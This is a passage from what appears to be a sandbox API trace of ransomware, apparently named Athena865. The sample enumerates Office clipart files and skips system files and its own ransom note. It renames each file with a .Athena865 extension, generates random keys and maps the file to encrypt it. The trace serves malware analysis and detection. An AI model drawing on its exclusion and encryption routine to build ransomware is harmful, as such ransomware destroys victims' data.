(lpString1="J0237225.WMF", lpString2="windows") returned -1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="bootmgr") returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="temp") returned -1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="pagefile.sys") returned -1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="boot") returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="ids.txt") returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="ntuser.dat") returned -1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="perflogs") returned -1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="MSBuild") returned -1 [0128.715] lstrlenW (lpString="J0237225.WMF") returned 12 [0128.715] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0237225.WMF" | out: lpString1="J0237225.WMF") returned="J0237225.WMF" [0128.715] lstrlenW (lpString="J0237225.WMF") returned 12 [0128.715] lstrlenW (lpString="Athena865") returned 9 [0128.715] lstrcmpiW (lpString1="37225.WMF", lpString2="Athena865") returned -1 [0128.715] lstrlenW (lpString=".dll") returned 4 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2=".dll") returned 1 [0128.715] lstrlenW (lpString=".lnk") returned 4 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2=".lnk") returned 1 [0128.716] lstrlenW (lpString=".ini") returned 4 [0128.716] lstrcmpiW (lpString1="J0237225.WMF", lpString2=".ini") returned 1 [0128.716] lstrlenW (lpString=".sys") returned 4 [0128.716] lstrcmpiW (lpString1="J0237225.WMF", lpString2=".sys") returned 1 [0128.716] lstrlenW (lpString="J0237225.WMF") returned 12 [0128.716] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.Athena865") returned 73 [0128.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.athena865"), dwFlags=0x1) returned 1 [0128.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.717] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52128) returned 1 [0128.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.718] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.718] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.718] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.719] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcea0, lpName=0x0) returned 0x154 [0128.721] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcea0) returned 0x100000 [0128.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.725] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.725] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.726] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.726] CloseHandle (hObject=0x154) returned 1 [0128.726] CloseHandle (hObject=0x17c) returned 1 [0128.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.727] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2=".") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="..") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="windows") returned -1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="bootmgr") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="temp") returned -1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="pagefile.sys") returned -1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="boot") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="ids.txt") returned 1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="ntuser.dat") returned -1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="perflogs") returned -1 [0128.727] lstrcmpiW (lpString1="J0237228.WMF", lpString2="MSBuild") returned -1 [0128.727] lstrlenW (lpString="J0237228.WMF") returned 12 [0128.727] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0237228.WMF" | out: lpString1="J0237228.WMF") returned="J0237228.WMF" [0128.727] lstrlenW (lpString="J0237228.WMF") returned 12 [0128.728] lstrlenW (lpString="Athena865") returned 9 [0128.728] lstrcmpiW (lpString1="37228.WMF", lpString2="Athena865") returned -1 [0128.728] lstrlenW (lpString=".dll") returned 4 [0128.728] lstrcmpiW (lpString1="J0237228.WMF", lpString2=".dll") returned 1 [0128.728] lstrlenW (lpString=".lnk") returned 4 [0128.728] lstrcmpiW (lpString1="J0237228.WMF", lpString2=".lnk") returned 1 [0128.728] lstrlenW (lpString=".ini") returned 4 [0128.728] lstrcmpiW (lpString1="J0237228.WMF", lpString2=".ini") returned 1 [0128.728] lstrlenW (lpString=".sys") returned 4 [0128.728] lstrcmpiW (lpString1="J0237228.WMF", lpString2=".sys") returned 1 [0128.728] lstrlenW (lpString="J0237228.WMF") returned 12 [0128.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.Athena865") returned 73 [0128.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.athena865"), dwFlags=0x1) returned 1 [0128.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.729] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22272) returned 1 [0128.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.730] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.731] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a00, lpName=0x0) returned 0x154 [0128.733] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a00) returned 0x100000 [0128.734] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.735] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.735] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.736] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.736] CloseHandle (hObject=0x154) returned 1 [0128.736] CloseHandle (hObject=0x17c) returned 1 [0128.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.736] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0128.736] lstrcmpiW (lpString1="J0237336.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.736] lstrcmpiW (lpString1="J0237336.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.736] lstrcmpiW (lpString1="J0237336.WMF", lpString2=".") returned 1 [0128.736] lstrcmpiW (lpString1="J0237336.WMF", lpString2="..") returned 1 [0128.736] lstrcmpiW (lpString1="J0237336.WMF", lpString2="windows") returned -1 [0128.736] lstrcmpiW (lpString1="J0237336.WMF", lpString2="bootmgr") returned 1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="temp") returned -1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="pagefile.sys") returned -1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="boot") returned 1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="ids.txt") returned 1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="ntuser.dat") returned -1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="perflogs") returned -1 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2="MSBuild") returned -1 [0128.737] lstrlenW (lpString="J0237336.WMF") returned 12 [0128.737] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0237336.WMF" | out: lpString1="J0237336.WMF") returned="J0237336.WMF" [0128.737] lstrlenW (lpString="J0237336.WMF") returned 12 [0128.737] lstrlenW (lpString="Athena865") returned 9 [0128.737] lstrcmpiW (lpString1="37336.WMF", lpString2="Athena865") returned -1 [0128.737] lstrlenW (lpString=".dll") returned 4 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2=".dll") returned 1 [0128.737] lstrlenW (lpString=".lnk") returned 4 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2=".lnk") returned 1 [0128.737] lstrlenW (lpString=".ini") returned 4 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2=".ini") returned 1 [0128.737] lstrlenW (lpString=".sys") returned 4 [0128.737] lstrcmpiW (lpString1="J0237336.WMF", lpString2=".sys") returned 1 [0128.737] lstrlenW (lpString="J0237336.WMF") returned 12 [0128.737] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.Athena865") returned 73 [0128.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.athena865"), dwFlags=0x1) returned 1 [0128.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.739] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24770) returned 1 [0128.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.739] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.740] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.740] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.740] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63d0, lpName=0x0) returned 0x154 [0128.742] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63d0) returned 0x100000 [0128.744] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.744] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.745] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.745] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.746] CloseHandle (hObject=0x154) returned 1 [0128.746] CloseHandle (hObject=0x17c) returned 1 [0128.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.746] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2=".") returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="..") returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="windows") returned -1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="bootmgr") returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="temp") returned -1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="pagefile.sys") returned -1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="boot") returned 1 [0128.746] lstrcmpiW (lpString1="J0237759.WMF", lpString2="ids.txt") returned 1 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2="ntuser.dat") returned -1 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2="perflogs") returned -1 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2="MSBuild") returned -1 [0128.747] lstrlenW (lpString="J0237759.WMF") returned 12 [0128.747] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0237759.WMF" | out: lpString1="J0237759.WMF") returned="J0237759.WMF" [0128.747] lstrlenW (lpString="J0237759.WMF") returned 12 [0128.747] lstrlenW (lpString="Athena865") returned 9 [0128.747] lstrcmpiW (lpString1="37759.WMF", lpString2="Athena865") returned -1 [0128.747] lstrlenW (lpString=".dll") returned 4 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2=".dll") returned 1 [0128.747] lstrlenW (lpString=".lnk") returned 4 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2=".lnk") returned 1 [0128.747] lstrlenW (lpString=".ini") returned 4 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2=".ini") returned 1 [0128.747] lstrlenW (lpString=".sys") returned 4 [0128.747] lstrcmpiW (lpString1="J0237759.WMF", lpString2=".sys") returned 1 [0128.747] lstrlenW (lpString="J0237759.WMF") returned 12 [0128.747] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.Athena865") returned 73 [0128.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.athena865"), dwFlags=0x1) returned 1 [0128.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.749] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20926) returned 1 [0128.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.749] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.750] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.750] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.750] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x54c0, lpName=0x0) returned 0x154 [0128.752] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x54c0) returned 0x100000 [0128.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.755] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.755] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.756] CloseHandle (hObject=0x154) returned 1 [0128.757] CloseHandle (hObject=0x17c) returned 1 [0128.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.757] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2=".") returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="..") returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="windows") returned -1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="bootmgr") returned 1 [0128.757] lstrcmpiW 